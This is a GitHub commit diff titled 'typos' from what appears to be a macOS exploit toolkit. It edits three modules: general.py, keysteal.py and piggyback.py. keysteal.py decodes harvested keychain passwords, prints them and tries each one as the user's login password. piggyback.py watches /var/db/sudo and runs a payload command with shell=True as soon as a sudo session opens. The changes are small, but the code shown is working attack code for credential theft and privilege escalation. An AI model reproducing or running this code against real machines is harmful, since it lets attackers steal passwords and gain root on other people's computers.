Skip to content

Commit 3ce33ca

Browse files
committed
typos
1 parent 9f04f25 commit 3ce33ca

File tree

3 files changed

+16
-13
lines changed

3 files changed

+16
-13
lines changed

exploits/general.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ def default_browser():
3838

3939
def interaction_prompt(prompt):
4040
""""""
41-
return input("\n[USER INTERACTION] {prompt} (y/N): ".fomrat(prompt=prompt))[0].lower() == "y"
41+
return input("\n[USER INTERACTION] {prompt} (y/N): ".format(prompt=prompt))[0].lower() == "y"
4242

4343

4444
def app_installed(app_name):

exploits/keysteal.py

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,8 @@
88
import re
99
from distutils.version import LooseVersion
1010

11-
from .general import (DEFAULT_COMMAND, USER, get_values, osascript,
12-
random_string, try_password)
11+
from .general import (DEFAULT_COMMAND, USER, get_values, interaction_prompt,
12+
osascript, random_string, try_password)
1313

1414
try:
1515
from json.decoder import JSONDecodeError
@@ -37,7 +37,7 @@ def read_passwords(text):
3737
try:
3838
if base64.b64encode(base64.b64decode(password)) == password:
3939
password = base64.b64decode(password)
40-
except binascii.Error:
40+
except (TypeError, binascii.Error):
4141
pass
4242

4343
password = str(password).strip()
@@ -76,6 +76,8 @@ def run():
7676

7777
passwords = read_passwords(response)
7878

79+
print(passwords)
80+
7981
print("\nTrying passwords...\n")
8082

8183
real_password = None
@@ -84,7 +86,9 @@ def run():
8486
try:
8587
print(" Trying: {password}".format(password=password), end="\r")
8688
valid = try_password(password)
87-
except Exception:
89+
except Exception as e:
90+
print(type(e))
91+
print(str(e))
8892
continue
8993
if valid:
9094
real_password = password

exploits/piggyback.py

Lines changed: 7 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
11
"""piggybacks off a sudo command"""
2-
import os
3-
import subprocess
2+
import os.path
43
import time
54
from distutils.version import LooseVersion
5+
from subprocess import CalledProcessError, call
66

7-
from .general import DEFAULT_COMMAND
7+
from .general import DEFAULT_COMMAND, interaction_prompt
88

99
__cve__ = ""
1010
__credits__ = "n00py"
@@ -13,23 +13,22 @@
1313
def vulnerable(version):
1414
"""checks vulnerability"""
1515
if version < LooseVersion("10.13.0"):
16-
return input("[USER INTERACTION] Do you want to piggyback off sudo (waits until sudo is used)? (y/N): ")[0].lower() == "y"
16+
return interaction_prompt("Do you want to piggyback off sudo (waits until sudo is used)?")
1717
return
1818

1919

2020
def run():
2121
"""runs exploit"""
2222
sudo_dir = "/var/db/sudo"
23-
subprocess.call(['sudo -K'], shell=True)
23+
call(['sudo -K'], shell=True)
2424
old_time = time.ctime(os.path.getmtime(sudo_dir))
2525
exit_loop = False
2626
while exit_loop is False:
2727
new_time = time.ctime(os.path.getmtime(sudo_dir))
2828
if old_time != new_time:
2929
try:
30-
subprocess.call(
31-
[DEFAULT_COMMAND], shell=True)
30+
call([DEFAULT_COMMAND], shell=True)
3231
exit_loop = True
33-
except (OSError, subprocess.CalledProcessError):
32+
except (OSError, CalledProcessError):
3433
pass
3534
return exit_loop

0 commit comments

Comments
 (0)